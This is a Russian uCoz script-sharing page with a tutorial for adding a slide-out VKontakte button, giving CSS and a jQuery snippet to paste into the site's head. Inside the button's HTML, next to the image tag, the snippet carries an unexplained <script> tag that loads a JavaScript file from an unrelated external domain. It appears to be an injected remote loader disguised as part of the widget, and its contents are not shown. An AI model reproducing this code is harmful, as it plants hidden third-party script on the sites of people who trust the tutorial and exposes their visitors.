Витрина ссылок
{text}
Мини-Чат
Мини Профиль
Гость

Партнеры





Статистика


Онлайн всего: 1
Гостей: 1
Пользователей: 0
[ Кто нас сегодня посетил ]
Новое на форуме
Состав клана - победы поражени...[ 0 ]
Форма входа CSS3 & HTML5[ 0 ]
TRANCE Радио[ 0 ]
МиниПрофиль[ 0 ]
Темный мини-чат для uCoz[ 0 ]
Новые файлы
Уведомление о регист...[ 03.04.2013 ]
Пожертвование на раз...[ 03.04.2013 ]
Игра на мышление[ 03.04.2013 ]
Коте для вашего сайт...[ 03.04.2013 ]
Перевод страниц сайт...[ 25.03.2013 ]
Новые пользователи
minus_aa[ 0 ]
korneevany2008[ 0 ]
yaznayunet[ 0 ]
Арес[ 0 ]
Asgard[ 0 ]
Главная » Файлы » uCoz » Скрипты

Выдвижная кнопка ВКонтакте для uCoz
Добавил: startsmart » Дата: 16.12.2012, 13:29
Категория: Скрипты
Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz 

И так кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другим хостингом, пример Вы можете увидеть справа. 

Установка:

1) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код: 

Code
#vkontakte_button img {  
  position: fixed;  
  top:125px;  
  right: -76px;  
  z-index: 99999;  
  cursor: pointer;  
  display: block;  
  }


2) Следующий код вставляем в любое место на странице между head и /head: 

Code
<script type="text/javascript">  
  $(function($) {  
  $("#vkontakte_button img").hover(  
  function () {  
  $(this).animate({right: '0'}, {queue:false, duration: 350});  
  //$(this).css('right', '0');  
  },  
  function () {  
  $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
  // $(this).css('right', '-76px');  
  }  
  );  
  });  
  </script>  
  <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
  <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
  </a>


Настройка скрипта 
Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк.. 
Вот и все, установка и настройка завершена.
Просмотров: 189 | Загрузок: 0
Всего комментариев: 0
llpadding="0" cellspacing="0" width="100%">
Добавление комментария
Имя *:
Email:
Код *: